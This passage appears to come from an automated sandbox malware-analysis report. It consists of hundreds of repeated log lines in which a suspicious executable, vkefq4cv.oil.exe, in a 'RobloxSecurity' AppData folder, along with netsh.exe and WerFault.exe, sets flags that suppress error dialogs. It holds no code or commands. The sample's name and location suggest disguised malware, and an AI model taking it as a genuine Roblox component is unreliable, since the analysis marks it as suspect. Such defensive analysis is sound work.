Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
